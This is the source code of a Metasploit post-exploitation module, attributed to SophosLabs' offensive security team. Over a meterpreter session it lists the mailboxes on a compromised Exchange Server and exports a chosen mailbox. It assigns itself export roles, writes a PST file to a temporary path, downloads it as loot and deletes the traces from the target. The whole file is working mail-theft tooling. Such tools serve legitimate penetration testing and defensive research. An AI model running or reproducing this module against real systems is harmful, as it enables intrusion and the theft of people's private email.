##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Registry
  include Msf::Post::Windows::Powershell
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Exchange Server Mailboxes',
        'Description' => %q{
          This module will gather information from an on-premise Exchange Server running on the target machine.

          Two actions are supported:
          LIST (default action): List basic information about all Exchange servers and mailboxes hosted on the target.
          EXPORT: Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword.

          For a list of valid filters, see https://docs.microsoft.com/en-us/exchange/filterable-properties-for-the-contentfilter-parameter

          The executing user has to be assigned to the "Organization Management" role group for the module to successfully run.

          Tested on Exchange Server 2010 on Windows Server 2012 R2 and Exchange Server 2016 on Windows Server 2016.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'SophosLabs Offensive Security team' ],
        'References' => [
          [ 'URL', 'https://github.com/sophoslabs/metasploit_gather_exchange' ],
          [ 'URL', 'https://news.sophos.com/en-us/2021/03/09/sophoslabs-offensive-security-releases-post-exploitation-tool-for-exchange/' ],
        ],
        'Platform' => [ 'win' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'meterpreter' ],
        'Actions' => [
          [ 'LIST', { 'Description' => 'List basic information about all Exchange servers and mailboxes hosted on the target' } ],
          [ 'EXPORT', { 'Description' => 'Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword' } ],
        ],
        'DefaultAction' => 'LIST',
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_stat
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptString.new('FILTER', [ false, '[for EXPORT] Filter to use when exporting a mailbox (see description)' ]),
        OptString.new('MAILBOX', [ false, '[for EXPORT, required] Mailbox to export' ]),
      ]
    )

    register_advanced_options(
      [
        OptInt.new('TIMEOUT', [true, 'The maximum time (in seconds) to wait for any Powershell scripts to complete', 600]),
        OptFloat.new('DownloadSizeThreshold', [true, 'The file size of export results after which a prompt will appear to confirm the download, in MB (0 for no threshold)', 50.0]),
        OptBool.new('SkipLargeDownloads', [true, 'Automatically skip downloading export results that are larger than DownloadSizeThreshold (don\'t show prompt)', false])
      ]
    )
  end

  def execute_exchange_script(command)
    # Generate random delimiters for output coming from the powershell script
    output_start_delim = "<#{Rex::Text.rand_text_alphanumeric(16)}>"
    output_end_delim = "</#{Rex::Text.rand_text_alphanumeric(16)}>"

    base_script = File.read(File.join(Msf::Config.data_directory, 'post', 'powershell', 'exchange.ps1'))
    # A hash is used as the replacement argument to avoid issues with backslashes in command
    psh_script = base_script.sub('_COMMAND_', '_COMMAND_' => command)
    # Insert the random delimiters in place of the placeholders
    psh_script.gsub!('<output>', output_start_delim)
    psh_script.gsub!('</output>', output_end_delim)
    compressed_script = compress_script(psh_script)
    cmd_out, _runnings_pids, _open_channels = execute_script(compressed_script, datastore['TIMEOUT'])
    while (d = cmd_out.channel.read)
      # Only print the output coming from PowerShell that is inside the delimiters
      d.scan(/#{output_start_delim}(.*?)#{output_end_delim}/) do |b|
        b[0].split('<br>') do |l|
          print_line(l.to_s)
        end
      end
    end
  end

  def user_confirms_download?
    # Prompt the user to confirm the download. Return true if confirmed, false otherwise
    return false unless user_input.respond_to?(:pgets)

    old_prompt = user_input.prompt
    user_input.prompt = 'Are you sure you want to continue? [y/N] '
    cont = user_input.pgets
    user_input.prompt = old_prompt

    return cont.match?(/^y/i)
  end

  def export_mailboxes(mailbox, filter)
    # Get the target's TEMP path and generate a random filename to serve as the save path for the export action
    temp_folder = get_env('TEMP')
    random_filename = "#{Rex::Text.rand_text_alpha(16)}.tmp"
    temp_save_path = "#{temp_folder}\\#{random_filename}"

    # The Assign-Roles command is responsible for assigning the roles necessary for exporting,
    # It's executed in a separate PowerShell session because these changes don't take effect until a new session is created
    execute_exchange_script('Assign-Roles')
    execute_exchange_script("Export-Mailboxes \"#{mailbox}\" \"#{filter}\" \"#{temp_save_path}\"")

    # After script is done executing, check if the export save path exists on the target
    if !file_exist?(temp_save_path)
      print_error('Export file not created on target machine. Aborting.')
      return
    end

    # Get the size of the newly made export file
    stat = session.fs.file.stat(temp_save_path)
    mb_size = (stat.stathash['st_size'] / 1024.0 / 1024.0).round(2)
    print_status("Resulting export file size: #{mb_size} MB")
    if datastore['DownloadSizeThreshold'] > 0 && mb_size > datastore['DownloadSizeThreshold']
      print_warning("The resulting export file is larger than current threshold (#{datastore['DownloadSizeThreshold']} MB)")
      print_warning('You can reduce the size of the export file by using the FILTER option to refine the amount of exported mail items.')

      if datastore['SkipLargeDownloads'] || !user_confirms_download?
        print_error('Not downloading oversized export file.')
        rm_f(temp_save_path)
        return
      end
    end

    # Download file using the loot system
    loot = store_loot('PST', 'application/vnd.ms-outlook', session, read_file(temp_save_path), 'export.pst', "PST export of mailbox #{mailbox}")
    print_good("PST saved in: #{loot}")

    # Delete file from target
    rm_f(temp_save_path)
  end

  def list_mailboxes
    execute_exchange_script('List-Mailboxes')
  end

  def run
    # Check if Exchange Server is installed on the target by checking the registry
    if registry_key_exist?('HKLM\Software\Microsoft\ExchangeServer')
      print_good('Exchange Server is present on target machine')
    else
      fail_with(Failure::Unknown, 'Exchange Server is not present on target machine')
    end

    # Check if PowerShell is installed on the target
    if have_powershell?
      print_good('PowerShell is present on target machine')
    else
      fail_with(Failure::Unknown, 'PowerShell is not present on target machine')
    end

    mailbox = datastore['MAILBOX']
    filter = datastore['FILTER']

    case action.name
    when 'LIST'
      print_good('Listing reachable servers and mailboxes: ')
      list_mailboxes
    when 'EXPORT'
      if mailbox.nil? || mailbox.empty?
        fail_with(Failure::BadConfig, 'Option MAILBOX is required for action EXPORT')
      else
        print_good("Exporting mailbox '#{mailbox}': ")
        export_mailboxes(mailbox, filter)
      end
    else
      print_error("Unknown action: #{action.name}")
    end
  end
end
